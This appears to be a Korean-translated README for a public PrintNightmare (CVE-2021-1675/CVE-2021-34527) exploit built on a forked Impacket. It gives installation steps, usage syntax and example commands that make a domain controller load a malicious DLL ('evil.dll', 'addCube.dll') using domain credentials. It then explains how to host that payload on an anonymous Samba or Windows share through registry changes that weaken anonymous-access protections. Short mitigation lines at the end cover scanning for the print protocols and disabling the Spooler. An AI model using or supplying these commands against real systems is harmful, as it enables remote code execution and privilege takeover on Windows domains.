
PrintNightmare CVE-2021-1675/CVE-2021-34527의 C# 및 Impacket 구현
Impacket 구현체 PrintNightmare PoC (원작자: Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370))
완전히 패치된 2019 도메인 컨트롤러에서 테스트 완료
악성 DLL을 원격 또는 로컬에서 실행

Microsoft는 이러한 공격을 완화하기 위한 패치를 출시했지만, 아래 값들이 시스템에 존재하면 여전히 취약합니다.
REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
RestrictDriverInstallationToAdministrators REG_DWORD 0x0
NoWarningNoElevationOnInstall REG_DWORD 0x1
익스플로잇을 실행하기 전에 제 버전의 Impacket을 설치해야 합니다. 그 후에는 준비 완료입니다.
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
CVE-2021-1675 구현.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
share DLL 경로. 예: '\\10.10.10.10\share\evil.dll'
optional arguments:
-h, --help 도움말 메시지를 표시하고 종료
authentication:
-hashes LMHASH:NTHASH
NTLM 해시, 형식은 LMHASH:NTHASH
connection:
-target-ip ip address
대상 머신의 IP 주소. 생략하면 target에 지정된 값을 사용합니다. target이 NetBIOS 이름이고 확인할 수 없을 때 유용합니다.
-port [destination port]
SMB 서버 연결 대상 포트
예제;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
페이로드를 호스팅하는 가장 쉬운 방법은 samba를 사용하고 /etc/samba/smb.conf를 수정하여 익명 접근을 허용하는 것입니다.
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
Windows에서도 가능합니다.
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #이렇게 하면 기존 NullSessionPipes를 덮어씁니다.
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# 재부팅
Impacket의 rpcdump.py를 사용하여 잠재적으로 취약한 호스트를 스캔할 수 있습니다. 값이 반환되면 취약할 수 있습니다.
rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
Spooler 서비스 비활성화
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f